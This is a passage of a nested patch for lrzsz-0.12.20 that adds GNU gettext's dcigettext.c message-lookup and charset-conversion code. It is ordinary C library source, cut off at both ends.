-- if (retval != NULL && retval[0] != '\0')
-- return retval;
--
-- /* We use C as the default domain. POSIX says this is implementation
-- defined. */
-- return "C";
--#endif
--}
--
--/* @@ begin of epilog @@ */
--
--/* We don't want libintl.a to depend on any other library. So we
-- avoid the non-standard function stpcpy. In GNU C Library this
-- function is available, though. Also allow the symbol HAVE_STPCPY
-- to be defined. */
--#if !_LIBC && !HAVE_STPCPY
--static char *
--stpcpy (dest, src)
-- char *dest;
-- const char *src;
--{
-- while ((*dest++ = *src++) != '\0')
-- /* Do nothing. */ ;
-- return dest - 1;
--}
--#endif
---- lrzsz-0.12.20.safe/intl/dcigettext.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/dcigettext.c 2004-09-12 14:40:34.369745960 -0400
-@@ -0,0 +1,1219 @@
-+/* Implementation of the internal dcigettext function.
-+ Copyright (C) 1995-1999, 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Tell glibc's <string.h> to provide a prototype for mempcpy().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <sys/types.h>
-+
-+#ifdef __GNUC__
-+# define alloca __builtin_alloca
-+# define HAVE_ALLOCA 1
-+#else
-+# ifdef _MSC_VER
-+# include <malloc.h>
-+# define alloca _alloca
-+# else
-+# if defined HAVE_ALLOCA_H || defined _LIBC
-+# include <alloca.h>
-+# else
-+# ifdef _AIX
-+ #pragma alloca
-+# else
-+# ifndef alloca
-+char *alloca ();
-+# endif
-+# endif
-+# endif
-+# endif
-+#endif
-+
-+#include <errno.h>
-+#ifndef errno
-+extern int errno;
-+#endif
-+#ifndef __set_errno
-+# define __set_errno(val) errno = (val)
-+#endif
-+
-+#include <stddef.h>
-+#include <stdlib.h>
-+#include <string.h>
-+
-+#if defined HAVE_UNISTD_H || defined _LIBC
-+# include <unistd.h>
-+#endif
-+
-+#include <locale.h>
-+
-+#ifdef _LIBC
-+ /* Guess whether integer division by zero raises signal SIGFPE.
-+ Set to 1 only if you know for sure. In case of doubt, set to 0. */
-+# if defined __alpha__ || defined __arm__ || defined __i386__ \
-+ || defined __m68k__ || defined __s390__
-+# define INTDIV0_RAISES_SIGFPE 1
-+# else
-+# define INTDIV0_RAISES_SIGFPE 0
-+# endif
-+#endif
-+#if !INTDIV0_RAISES_SIGFPE
-+# include <signal.h>
-+#endif
-+
-+#if defined HAVE_SYS_PARAM_H || defined _LIBC
-+# include <sys/param.h>
-+#endif
-+
-+#include "gettextP.h"
-+#include "plural-exp.h"
-+#ifdef _LIBC
-+# include <libintl.h>
-+#else
-+# include "libgnuintl.h"
-+#endif
-+#include "hash-string.h"
-+
-+/* Thread safetyness. */
-+#ifdef _LIBC
-+# include <bits/libc-lock.h>
-+#else
-+/* Provide dummy implementation if this is outside glibc. */
-+# define __libc_lock_define_initialized(CLASS, NAME)
-+# define __libc_lock_lock(NAME)
-+# define __libc_lock_unlock(NAME)
-+# define __libc_rwlock_define_initialized(CLASS, NAME)
-+# define __libc_rwlock_rdlock(NAME)
-+# define __libc_rwlock_unlock(NAME)
-+#endif
-+
-+/* Alignment of types. */
-+#if defined __GNUC__ && __GNUC__ >= 2
-+# define alignof(TYPE) __alignof__ (TYPE)
-+#else
-+# define alignof(TYPE) \
-+ ((int) &((struct { char dummy1; TYPE dummy2; } *) 0)->dummy2)
-+#endif
-+
-+/* The internal variables in the standalone libintl.a must have different
-+ names than the internal variables in GNU libc, otherwise programs
-+ using libintl.a cannot be linked statically. */
-+#if !defined _LIBC
-+# define _nl_default_default_domain libintl_nl_default_default_domain
-+# define _nl_current_default_domain libintl_nl_current_default_domain
-+# define _nl_default_dirname libintl_nl_default_dirname
-+# define _nl_domain_bindings libintl_nl_domain_bindings
-+#endif
-+
-+/* Some compilers, like SunOS4 cc, don't have offsetof in <stddef.h>. */
-+#ifndef offsetof
-+# define offsetof(type,ident) ((size_t)&(((type*)0)->ident))
-+#endif
-+
-+/* @@ end of prolog @@ */
-+
-+#ifdef _LIBC
-+/* Rename the non ANSI C functions. This is required by the standard
-+ because some ANSI C functions will require linking with this object
-+ file and the name space must not be polluted. */
-+# define getcwd __getcwd
-+# ifndef stpcpy
-+# define stpcpy __stpcpy
-+# endif
-+# define tfind __tfind
-+#else
-+# if !defined HAVE_GETCWD
-+char *getwd ();
-+# define getcwd(buf, max) getwd (buf)
-+# else
-+# if VMS
-+# define getcwd(buf, max) (getcwd) (buf, max, 0)
-+# else
-+char *getcwd ();
-+# endif
-+# endif
-+# ifndef HAVE_STPCPY
-+static char *stpcpy (char *dest, const char *src);
-+# endif
-+# ifndef HAVE_MEMPCPY
-+static void *mempcpy (void *dest, const void *src, size_t n);
-+# endif
-+#endif
-+
-+/* Amount to increase buffer size by in each try. */
-+#define PATH_INCR 32
-+
-+/* The following is from pathmax.h. */
-+/* Non-POSIX BSD systems might have gcc's limits.h, which doesn't define
-+ PATH_MAX but might cause redefinition warnings when sys/param.h is
-+ later included (as on MORE/BSD 4.3). */
-+#if defined _POSIX_VERSION || (defined HAVE_LIMITS_H && !defined __GNUC__)
-+# include <limits.h>
-+#endif
-+
-+#ifndef _POSIX_PATH_MAX
-+# define _POSIX_PATH_MAX 255
-+#endif
-+
-+#if !defined PATH_MAX && defined _PC_PATH_MAX
-+# define PATH_MAX (pathconf ("/", _PC_PATH_MAX) < 1 ? 1024 : pathconf ("/", _PC_PATH_MAX))
-+#endif
-+
-+/* Don't include sys/param.h if it already has been. */
-+#if defined HAVE_SYS_PARAM_H && !defined PATH_MAX && !defined MAXPATHLEN
-+# include <sys/param.h>
-+#endif
-+
-+#if !defined PATH_MAX && defined MAXPATHLEN
-+# define PATH_MAX MAXPATHLEN
-+#endif
-+
-+#ifndef PATH_MAX
-+# define PATH_MAX _POSIX_PATH_MAX
-+#endif
-+
-+/* Pathname support.
-+ ISSLASH(C) tests whether C is a directory separator character.
-+ IS_ABSOLUTE_PATH(P) tests whether P is an absolute path. If it is not,
-+ it may be concatenated to a directory pathname.
-+ IS_PATH_WITH_DIR(P) tests whether P contains a directory specification.
-+ */
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS */
-+# define ISSLASH(C) ((C) == '/' || (C) == '\\')
-+# define HAS_DEVICE(P) \
-+ ((((P)[0] >= 'A' && (P)[0] <= 'Z') || ((P)[0] >= 'a' && (P)[0] <= 'z')) \
-+ && (P)[1] == ':')
-+# define IS_ABSOLUTE_PATH(P) (ISSLASH ((P)[0]) || HAS_DEVICE (P))
-+# define IS_PATH_WITH_DIR(P) \
-+ (strchr (P, '/') != NULL || strchr (P, '\\') != NULL || HAS_DEVICE (P))
-+#else
-+ /* Unix */
-+# define ISSLASH(C) ((C) == '/')
-+# define IS_ABSOLUTE_PATH(P) ISSLASH ((P)[0])
-+# define IS_PATH_WITH_DIR(P) (strchr (P, '/') != NULL)
-+#endif
-+
-+/* This is the type used for the search tree where known translations
-+ are stored. */
-+struct known_translation_t
-+{
-+ /* Domain in which to search. */
-+ char *domainname;
-+
-+ /* The category. */
-+ int category;
-+
-+ /* State of the catalog counter at the point the string was found. */
-+ int counter;
-+
-+ /* Catalog where the string was found. */
-+ struct loaded_l10nfile *domain;
-+
-+ /* And finally the translation. */
-+ const char *translation;
-+ size_t translation_length;
-+
-+ /* Pointer to the string in question. */
-+ char msgid[ZERO];
-+};
-+
-+/* Root of the search tree with known translations. We can use this
-+ only if the system provides the `tsearch' function family. */
-+#if defined HAVE_TSEARCH || defined _LIBC
-+# include <search.h>
-+
-+static void *root;
-+
-+# ifdef _LIBC
-+# define tsearch __tsearch
-+# endif
-+
-+/* Function to compare two entries in the table of known translations. */
-+static int
-+transcmp (const void *p1, const void *p2)
-+{
-+ const struct known_translation_t *s1;
-+ const struct known_translation_t *s2;
-+ int result;
-+
-+ s1 = (const struct known_translation_t *) p1;
-+ s2 = (const struct known_translation_t *) p2;
-+
-+ result = strcmp (s1->msgid, s2->msgid);
-+ if (result == 0)
-+ {
-+ result = strcmp (s1->domainname, s2->domainname);
-+ if (result == 0)
-+ /* We compare the category last (though this is the cheapest
-+ operation) since it is hopefully always the same (namely
-+ LC_MESSAGES). */
-+ result = s1->category - s2->category;
-+ }
-+
-+ return result;
-+}
-+#endif
-+
-+#ifndef INTVARDEF
-+# define INTVARDEF(name)
-+#endif
-+#ifndef INTUSE
-+# define INTUSE(name) name
-+#endif
-+
-+/* Name of the default domain used for gettext(3) prior any call to
-+ textdomain(3). The default value for this is "messages". */
-+const char _nl_default_default_domain[] attribute_hidden = "messages";
-+
-+/* Value used as the default domain for gettext(3). */
-+const char *_nl_current_default_domain attribute_hidden
-+ = _nl_default_default_domain;
-+
-+/* Contains the default location of the message catalogs. */
-+#if defined __EMX__
-+extern const char _nl_default_dirname[];
-+#else
-+const char _nl_default_dirname[] = LOCALEDIR;
-+INTVARDEF (_nl_default_dirname)
-+#endif
-+
-+/* List with bindings of specific domains created by bindtextdomain()
-+ calls. */
-+struct binding *_nl_domain_bindings;
-+
-+/* Prototypes for local functions. */
-+static char *plural_lookup (struct loaded_l10nfile *domain,
-+ unsigned long int n,
-+ const char *translation, size_t translation_len)
-+ internal_function;
-+static const char *guess_category_value (int category,
-+ const char *categoryname)
-+ internal_function;
-+#ifdef _LIBC
-+# include "../locale/localeinfo.h"
-+# define category_to_name(category) _nl_category_names[category]
-+#else
-+static const char *category_to_name (int category) internal_function;
-+#endif
-+
-+
-+/* For those loosing systems which don't have `alloca' we have to add
-+ some additional code emulating it. */
-+#ifdef HAVE_ALLOCA
-+/* Nothing has to be done. */
-+# define freea(p) /* nothing */
-+# define ADD_BLOCK(list, address) /* nothing */
-+# define FREE_BLOCKS(list) /* nothing */
-+#else
-+struct block_list
-+{
-+ void *address;
-+ struct block_list *next;
-+};
-+# define ADD_BLOCK(list, addr) \
-+ do { \
-+ struct block_list *newp = (struct block_list *) malloc (sizeof (*newp)); \
-+ /* If we cannot get a free block we cannot add the new element to \
-+ the list. */ \
-+ if (newp != NULL) { \
-+ newp->address = (addr); \
-+ newp->next = (list); \
-+ (list) = newp; \
-+ } \
-+ } while (0)
-+# define FREE_BLOCKS(list) \
-+ do { \
-+ while (list != NULL) { \
-+ struct block_list *old = list; \
-+ list = list->next; \
-+ free (old->address); \
-+ free (old); \
-+ } \
-+ } while (0)
-+# undef alloca
-+# define alloca(size) (malloc (size))
-+# define freea(p) free (p)
-+#endif /* have alloca */
-+
-+
-+#ifdef _LIBC
-+/* List of blocks allocated for translations. */
-+typedef struct transmem_list
-+{
-+ struct transmem_list *next;
-+ char data[ZERO];
-+} transmem_block_t;
-+static struct transmem_list *transmem_list;
-+#else
-+typedef unsigned char transmem_block_t;
-+#endif
-+
-+
-+/* Names for the libintl functions are a problem. They must not clash
-+ with existing names and they should follow ANSI C. But this source
-+ code is also used in GNU C Library where the names have a __
-+ prefix. So we have to make a difference here. */
-+#ifdef _LIBC
-+# define DCIGETTEXT __dcigettext
-+#else
-+# define DCIGETTEXT libintl_dcigettext
-+#endif
-+
-+/* Lock variable to protect the global data in the gettext implementation. */
-+#ifdef _LIBC
-+__libc_rwlock_define_initialized (, _nl_state_lock attribute_hidden)
-+#endif
-+
-+/* Checking whether the binaries runs SUID must be done and glibc provides
-+ easier methods therefore we make a difference here. */
-+#ifdef _LIBC
-+# define ENABLE_SECURE __libc_enable_secure
-+# define DETERMINE_SECURE
-+#else
-+# ifndef HAVE_GETUID
-+# define getuid() 0
-+# endif
-+# ifndef HAVE_GETGID
-+# define getgid() 0
-+# endif
-+# ifndef HAVE_GETEUID
-+# define geteuid() getuid()
-+# endif
-+# ifndef HAVE_GETEGID
-+# define getegid() getgid()
-+# endif
-+static int enable_secure;
-+# define ENABLE_SECURE (enable_secure == 1)
-+# define DETERMINE_SECURE \
-+ if (enable_secure == 0) \
-+ { \
-+ if (getuid () != geteuid () || getgid () != getegid ()) \
-+ enable_secure = 1; \
-+ else \
-+ enable_secure = -1; \
-+ }
-+#endif
-+
-+/* Get the function to evaluate the plural expression. */
-+#include "eval-plural.h"
-+
-+/* Look up MSGID in the DOMAINNAME message catalog for the current
-+ CATEGORY locale and, if PLURAL is nonzero, search over string
-+ depending on the plural form determined by N. */
-+char *
-+DCIGETTEXT (const char *domainname, const char *msgid1, const char *msgid2,
-+ int plural, unsigned long int n, int category)
-+{
-+#ifndef HAVE_ALLOCA
-+ struct block_list *block_list = NULL;
-+#endif
-+ struct loaded_l10nfile *domain;
-+ struct binding *binding;
-+ const char *categoryname;
-+ const char *categoryvalue;
-+ char *dirname, *xdomainname;
-+ char *single_locale;
-+ char *retval;
-+ size_t retlen;
-+ int saved_errno;
-+#if defined HAVE_TSEARCH || defined _LIBC
-+ struct known_translation_t *search;
-+ struct known_translation_t **foundp = NULL;
-+ size_t msgid_len;
-+#endif
-+ size_t domainname_len;
-+
-+ /* If no real MSGID is given return NULL. */
-+ if (msgid1 == NULL)
-+ return NULL;
-+
-+#ifdef _LIBC
-+ if (category < 0 || category >= __LC_LAST || category == LC_ALL)
-+ /* Bogus. */
-+ return (plural == 0
-+ ? (char *) msgid1
-+ /* Use the Germanic plural rule. */
-+ : n == 1 ? (char *) msgid1 : (char *) msgid2);
-+#endif
-+
-+ __libc_rwlock_rdlock (_nl_state_lock);
-+
-+ /* If DOMAINNAME is NULL, we are interested in the default domain. If
-+ CATEGORY is not LC_MESSAGES this might not make much sense but the
-+ definition left this undefined. */
-+ if (domainname == NULL)
-+ domainname = _nl_current_default_domain;
-+
-+ /* OS/2 specific: backward compatibility with older libintl versions */
-+#ifdef LC_MESSAGES_COMPAT
-+ if (category == LC_MESSAGES_COMPAT)
-+ category = LC_MESSAGES;
-+#endif
-+
-+#if defined HAVE_TSEARCH || defined _LIBC
-+ msgid_len = strlen (msgid1) + 1;
-+
-+ /* Try to find the translation among those which we found at
-+ some time. */
-+ search = (struct known_translation_t *)
-+ alloca (offsetof (struct known_translation_t, msgid) + msgid_len);
-+ memcpy (search->msgid, msgid1, msgid_len);
-+ search->domainname = (char *) domainname;
-+ search->category = category;
-+
-+ foundp = (struct known_translation_t **) tfind (search, &root, transcmp);
-+ freea (search);
-+ if (foundp != NULL && (*foundp)->counter == _nl_msg_cat_cntr)
-+ {
-+ /* Now deal with plural. */
-+ if (plural)
-+ retval = plural_lookup ((*foundp)->domain, n, (*foundp)->translation,
-+ (*foundp)->translation_length);
-+ else
-+ retval = (char *) (*foundp)->translation;
-+
-+ __libc_rwlock_unlock (_nl_state_lock);
-+ return retval;
-+ }
-+#endif
-+
-+ /* Preserve the `errno' value. */
-+ saved_errno = errno;
-+
-+ /* See whether this is a SUID binary or not. */
-+ DETERMINE_SECURE;
-+
-+ /* First find matching binding. */
-+ for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next)
-+ {
-+ int compare = strcmp (domainname, binding->domainname);
-+ if (compare == 0)
-+ /* We found it! */
-+ break;
-+ if (compare < 0)
-+ {
-+ /* It is not in the list. */
-+ binding = NULL;
-+ break;
-+ }
-+ }
-+
-+ if (binding == NULL)
-+ dirname = (char *) INTUSE(_nl_default_dirname);
-+ else if (IS_ABSOLUTE_PATH (binding->dirname))
-+ dirname = binding->dirname;
-+ else
-+ {
-+ /* We have a relative path. Make it absolute now. */
-+ size_t dirname_len = strlen (binding->dirname) + 1;
-+ size_t path_max;
-+ char *ret;
-+
-+ path_max = (unsigned int) PATH_MAX;
-+ path_max += 2; /* The getcwd docs say to do this. */
-+
-+ for (;;)
-+ {
-+ dirname = (char *) alloca (path_max + dirname_len);
-+ ADD_BLOCK (block_list, dirname);
-+
-+ __set_errno (0);
-+ ret = getcwd (dirname, path_max);
-+ if (ret != NULL || errno != ERANGE)
-+ break;
-+
-+ path_max += path_max / 2;
-+ path_max += PATH_INCR;
-+ }
-+
-+ if (ret == NULL)
-+ /* We cannot get the current working directory. Don't signal an
-+ error but simply return the default string. */
-+ goto return_untranslated;
-+
-+ stpcpy (stpcpy (strchr (dirname, '\0'), "/"), binding->dirname);
-+ }
-+
-+ /* Now determine the symbolic name of CATEGORY and its value. */
-+ categoryname = category_to_name (category);
-+ categoryvalue = guess_category_value (category, categoryname);
-+
-+ domainname_len = strlen (domainname);
-+ xdomainname = (char *) alloca (strlen (categoryname)
-+ + domainname_len + 5);
-+ ADD_BLOCK (block_list, xdomainname);
-+
-+ stpcpy (mempcpy (stpcpy (stpcpy (xdomainname, categoryname), "/"),
-+ domainname, domainname_len),
-+ ".mo");
-+
-+ /* Creating working area. */
-+ single_locale = (char *) alloca (strlen (categoryvalue) + 1);
-+ ADD_BLOCK (block_list, single_locale);
-+
-+
-+ /* Search for the given string. This is a loop because we perhaps
-+ got an ordered list of languages to consider for the translation. */
-+ while (1)
-+ {
-+ /* Make CATEGORYVALUE point to the next element of the list. */
-+ while (categoryvalue[0] != '\0' && categoryvalue[0] == ':')
-+ ++categoryvalue;
-+ if (categoryvalue[0] == '\0')
-+ {
-+ /* The whole contents of CATEGORYVALUE has been searched but
-+ no valid entry has been found. We solve this situation
-+ by implicitly appending a "C" entry, i.e. no translation
-+ will take place. */
-+ single_locale[0] = 'C';
-+ single_locale[1] = '\0';
-+ }
-+ else
-+ {
-+ char *cp = single_locale;
-+ while (categoryvalue[0] != '\0' && categoryvalue[0] != ':')
-+ *cp++ = *categoryvalue++;
-+ *cp = '\0';
-+
-+ /* When this is a SUID binary we must not allow accessing files
-+ outside the dedicated directories. */
-+ if (ENABLE_SECURE && IS_PATH_WITH_DIR (single_locale))
-+ /* Ingore this entry. */
-+ continue;
-+ }
-+
-+ /* If the current locale value is C (or POSIX) we don't load a
-+ domain. Return the MSGID. */
-+ if (strcmp (single_locale, "C") == 0
-+ || strcmp (single_locale, "POSIX") == 0)
-+ break;
-+
-+ /* Find structure describing the message catalog matching the
-+ DOMAINNAME and CATEGORY. */
-+ domain = _nl_find_domain (dirname, single_locale, xdomainname, binding);
-+
-+ if (domain != NULL)
-+ {
-+ retval = _nl_find_msg (domain, binding, msgid1, &retlen);
-+
-+ if (retval == NULL)
-+ {
-+ int cnt;
-+
-+ for (cnt = 0; domain->successor[cnt] != NULL; ++cnt)
-+ {
-+ retval = _nl_find_msg (domain->successor[cnt], binding,
-+ msgid1, &retlen);
-+
-+ if (retval != NULL)
-+ {
-+ domain = domain->successor[cnt];
-+ break;
-+ }
-+ }
-+ }
-+
-+ if (retval != NULL)
-+ {
-+ /* Found the translation of MSGID1 in domain DOMAIN:
-+ starting at RETVAL, RETLEN bytes. */
-+ FREE_BLOCKS (block_list);
-+#if defined HAVE_TSEARCH || defined _LIBC
-+ if (foundp == NULL)
-+ {
-+ /* Create a new entry and add it to the search tree. */
-+ struct known_translation_t *newp;
-+
-+ newp = (struct known_translation_t *)
-+ malloc (offsetof (struct known_translation_t, msgid)
-+ + msgid_len + domainname_len + 1);
-+ if (newp != NULL)
-+ {
-+ newp->domainname =
-+ mempcpy (newp->msgid, msgid1, msgid_len);
-+ memcpy (newp->domainname, domainname, domainname_len + 1);
-+ newp->category = category;
-+ newp->counter = _nl_msg_cat_cntr;
-+ newp->domain = domain;
-+ newp->translation = retval;
-+ newp->translation_length = retlen;
-+
-+ /* Insert the entry in the search tree. */
-+ foundp = (struct known_translation_t **)
-+ tsearch (newp, &root, transcmp);
-+ if (foundp == NULL
-+ || __builtin_expect (*foundp != newp, 0))
-+ /* The insert failed. */
-+ free (newp);
-+ }
-+ }
-+ else
-+ {
-+ /* We can update the existing entry. */
-+ (*foundp)->counter = _nl_msg_cat_cntr;
-+ (*foundp)->domain = domain;
-+ (*foundp)->translation = retval;
-+ (*foundp)->translation_length = retlen;
-+ }
-+#endif
-+ __set_errno (saved_errno);
-+
-+ /* Now deal with plural. */
-+ if (plural)
-+ retval = plural_lookup (domain, n, retval, retlen);
-+
-+ __libc_rwlock_unlock (_nl_state_lock);
-+ return retval;
-+ }
-+ }
-+ }
-+
-+ return_untranslated:
-+ /* Return the untranslated MSGID. */
-+ FREE_BLOCKS (block_list);
-+ __libc_rwlock_unlock (_nl_state_lock);
-+#ifndef _LIBC
-+ if (!ENABLE_SECURE)
-+ {
-+ extern void _nl_log_untranslated (const char *logfilename,
-+ const char *domainname,
-+ const char *msgid1, const char *msgid2,
-+ int plural);
-+ const char *logfilename = getenv ("GETTEXT_LOG_UNTRANSLATED");
-+
-+ if (logfilename != NULL && logfilename[0] != '\0')
-+ _nl_log_untranslated (logfilename, domainname, msgid1, msgid2, plural);
-+ }
-+#endif
-+ __set_errno (saved_errno);
-+ return (plural == 0
-+ ? (char *) msgid1
-+ /* Use the Germanic plural rule. */
-+ : n == 1 ? (char *) msgid1 : (char *) msgid2);
-+}
-+
-+
-+char *
-+internal_function
-+_nl_find_msg (struct loaded_l10nfile *domain_file,
-+ struct binding *domainbinding, const char *msgid,
-+ size_t *lengthp)
-+{
-+ struct loaded_domain *domain;
-+ nls_uint32 nstrings;
-+ size_t act;
-+ char *result;
-+ size_t resultlen;
-+
-+ if (domain_file->decided == 0)
-+ _nl_load_domain (domain_file, domainbinding);
-+
-+ if (domain_file->data == NULL)
-+ return NULL;
-+
-+ domain = (struct loaded_domain *) domain_file->data;
-+
-+ nstrings = domain->nstrings;
-+
-+ /* Locate the MSGID and its translation. */
-+ if (domain->hash_tab != NULL)
-+ {
-+ /* Use the hashing table. */
-+ nls_uint32 len = strlen (msgid);
-+ nls_uint32 hash_val = hash_string (msgid);
-+ nls_uint32 idx = hash_val % domain->hash_size;
-+ nls_uint32 incr = 1 + (hash_val % (domain->hash_size - 2));
-+
-+ while (1)
-+ {
-+ nls_uint32 nstr =
-+ W (domain->must_swap_hash_tab, domain->hash_tab[idx]);
-+
-+ if (nstr == 0)
-+ /* Hash table entry is empty. */
-+ return NULL;
-+
-+ nstr--;
-+
-+ /* Compare msgid with the original string at index nstr.
-+ We compare the lengths with >=, not ==, because plural entries
-+ are represented by strings with an embedded NUL. */
-+ if (nstr < nstrings
-+ ? W (domain->must_swap, domain->orig_tab[nstr].length) >= len
-+ && (strcmp (msgid,
-+ domain->data + W (domain->must_swap,
-+ domain->orig_tab[nstr].offset))
-+ == 0)
-+ : domain->orig_sysdep_tab[nstr - nstrings].length > len
-+ && (strcmp (msgid,
-+ domain->orig_sysdep_tab[nstr - nstrings].pointer)
-+ == 0))
-+ {
-+ act = nstr;
-+ goto found;
-+ }
-+
-+ if (idx >= domain->hash_size - incr)
-+ idx -= domain->hash_size - incr;
-+ else
-+ idx += incr;
-+ }
-+ /* NOTREACHED */
-+ }
-+ else
-+ {
-+ /* Try the default method: binary search in the sorted array of
-+ messages. */
-+ size_t top, bottom;
-+
-+ bottom = 0;
-+ top = nstrings;
-+ while (bottom < top)
-+ {
-+ int cmp_val;
-+
-+ act = (bottom + top) / 2;
-+ cmp_val = strcmp (msgid, (domain->data
-+ + W (domain->must_swap,
-+ domain->orig_tab[act].offset)));
-+ if (cmp_val < 0)
-+ top = act;
-+ else if (cmp_val > 0)
-+ bottom = act + 1;
-+ else
-+ goto found;
-+ }
-+ /* No translation was found. */
-+ return NULL;
-+ }
-+
-+ found:
-+ /* The translation was found at index ACT. If we have to convert the
-+ string to use a different character set, this is the time. */
-+ if (act < nstrings)
-+ {
-+ result = (char *)
-+ (domain->data + W (domain->must_swap, domain->trans_tab[act].offset));
-+ resultlen = W (domain->must_swap, domain->trans_tab[act].length) + 1;
-+ }
-+ else
-+ {
-+ result = (char *) domain->trans_sysdep_tab[act - nstrings].pointer;
-+ resultlen = domain->trans_sysdep_tab[act - nstrings].length;
-+ }
-+
-+#if defined _LIBC || HAVE_ICONV
-+ if (domain->codeset_cntr
-+ != (domainbinding != NULL ? domainbinding->codeset_cntr : 0))
-+ {
-+ /* The domain's codeset has changed through bind_textdomain_codeset()
-+ since the message catalog was initialized or last accessed. We
-+ have to reinitialize the converter. */
-+ _nl_free_domain_conv (domain);
-+ _nl_init_domain_conv (domain_file, domain, domainbinding);
-+ }
-+
-+ if (
-+# ifdef _LIBC
-+ domain->conv != (__gconv_t) -1
-+# else
-+# if HAVE_ICONV
-+ domain->conv != (iconv_t) -1
-+# endif
-+# endif
-+ )
-+ {
-+ /* We are supposed to do a conversion. First allocate an
-+ appropriate table with the same structure as the table
-+ of translations in the file, where we can put the pointers
-+ to the converted strings in.
-+ There is a slight complication with plural entries. They
-+ are represented by consecutive NUL terminated strings. We
-+ handle this case by converting RESULTLEN bytes, including
-+ NULs. */
-+
-+ if (domain->conv_tab == NULL
-+ && ((domain->conv_tab =
-+ (char **) calloc (nstrings + domain->n_sysdep_strings,
-+ sizeof (char *)))
-+ == NULL))
-+ /* Mark that we didn't succeed allocating a table. */
-+ domain->conv_tab = (char **) -1;
-+
-+ if (__builtin_expect (domain->conv_tab == (char **) -1, 0))
-+ /* Nothing we can do, no more memory. */
-+ goto converted;
-+
-+ if (domain->conv_tab[act] == NULL)
-+ {
-+ /* We haven't used this string so far, so it is not
-+ translated yet. Do this now. */
-+ /* We use a bit more efficient memory handling.
-+ We allocate always larger blocks which get used over
-+ time. This is faster than many small allocations. */
-+ __libc_lock_define_initialized (static, lock)
-+# define INITIAL_BLOCK_SIZE 4080
-+ static unsigned char *freemem;
-+ static size_t freemem_size;
-+
-+ const unsigned char *inbuf;
-+ unsigned char *outbuf;
-+ int malloc_count;
-+# ifndef _LIBC
-+ transmem_block_t *transmem_list = NULL;
-+# endif
-+
-+ __libc_lock_lock (lock);
-+
-+ inbuf = (const unsigned char *) result;
-+ outbuf = freemem + sizeof (size_t);
-+
-+ malloc_count = 0;
-+ while (1)
-+ {
-+ transmem_block_t *newmem;
-+# ifdef _LIBC
-+ size_t non_reversible;
-+ int res;
-+
-+ if (freemem_size < sizeof (size_t))
-+ goto resize_freemem;
-+
-+ res = __gconv (domain->conv,
-+ &inbuf, inbuf + resultlen,
-+ &outbuf,
-+ outbuf + freemem_size - sizeof (size_t),
-+ &non_reversible);
-+
-+ if (res == __GCONV_OK || res == __GCONV_EMPTY_INPUT)
-+ break;
-+
-+ if (res != __GCONV_FULL_OUTPUT)
-+ {
-+ __libc_lock_unlock (lock);
-+ goto converted;
-+ }
-+
-+ inbuf = result;
-+# else
-+# if HAVE_ICONV
-+ const char *inptr = (const char *) inbuf;
-+ size_t inleft = resultlen;
-+ char *outptr = (char *) outbuf;
-+ size_t outleft;
-+
-+ if (freemem_size < sizeof (size_t))
-+ goto resize_freemem;
-+
-+ outleft = freemem_size - sizeof (size_t);
-+ if (iconv (domain->conv,
-+ (ICONV_CONST char **) &inptr, &inleft,
-+ &outptr, &outleft)
-+ != (size_t) (-1))
-+ {
-+ outbuf = (unsigned char *) outptr;
-+ break;
-+ }
-+ if (errno != E2BIG)
-+ {
-+ __libc_lock_unlock (lock);
-+ goto converted;
-+ }
-+# endif
-+# endif
-+
-+ resize_freemem:
-+ /* We must allocate a new buffer or resize the old one. */
-+ if (malloc_count > 0)
-+ {
-+ ++malloc_count;
-+ freemem_size = malloc_count * INITIAL_BLOCK_SIZE;
-+ newmem = (transmem_block_t *) realloc (transmem_list,
-+ freemem_size);
-+# ifdef _LIBC
-+ if (newmem != NULL)
-+ transmem_list = transmem_list->next;
-+ else
-+ {
-+ struct transmem_list *old = transmem_list;
-+
-+ transmem_list = transmem_list->next;
-+ free (old);
-+ }
-+# endif
-+ }
-+ else
-+ {
-+ malloc_count = 1;
-+ freemem_size = INITIAL_BLOCK_SIZE;
-+ newmem = (transmem_block_t *) malloc (freemem_size);
-+ }
-+ if (__builtin_expect (newmem == NULL, 0))
-+ {
-+ freemem = NULL;
-+ freemem_size = 0;
-+ __libc_lock_unlock (lock);
-+ goto converted;
-+ }
-+
-+# ifdef _LIBC
-+ /* Add the block to the list of blocks we have to free
-+ at some point. */
-+ newmem->next = transmem_list;
-+ transmem_list = newmem;
-+
-+ freemem = newmem->data;
-+ freemem_size -= offsetof (struct transmem_list, data);
-+# else
-+ transmem_list = newmem;
-+ freemem = newmem;
-+# endif
-+
-+ outbuf = freemem + sizeof (size_t);
-+ }
-+
-+ /* We have now in our buffer a converted string. Put this
-+ into the table of conversions. */
-+ *(size_t *) freemem = outbuf - freemem - sizeof (size_t);
-+ domain->conv_tab[act] = (char *) freemem;
-+ /* Shrink freemem, but keep it aligned. */
-+ freemem_size -= outbuf - freemem;
-+ freemem = outbuf;
-+ freemem += freemem_size & (alignof (size_t) - 1);
-+ freemem_size = freemem_size & ~ (alignof (size_t) - 1);
-+
-+ __libc_lock_unlock (lock);
-+ }
-+
-+ /* Now domain->conv_tab[act] contains the translation of all
-+ the plural variants. */
-+ result = domain->conv_tab[act] + sizeof (size_t);
-+ resultlen = *(size_t *) domain->conv_tab[act];
-+ }
-+
-+ converted:
-+ /* The result string is converted. */
-+
-+#endif /* _LIBC || HAVE_ICONV */
-+
-+ *lengthp = resultlen;
-+ return result;
-+}
-+
-+
-+/* Look up a plural variant. */
-+static char *
-+internal_function
-+plural_lookup (struct loaded_l10nfile *domain, unsigned long int n,
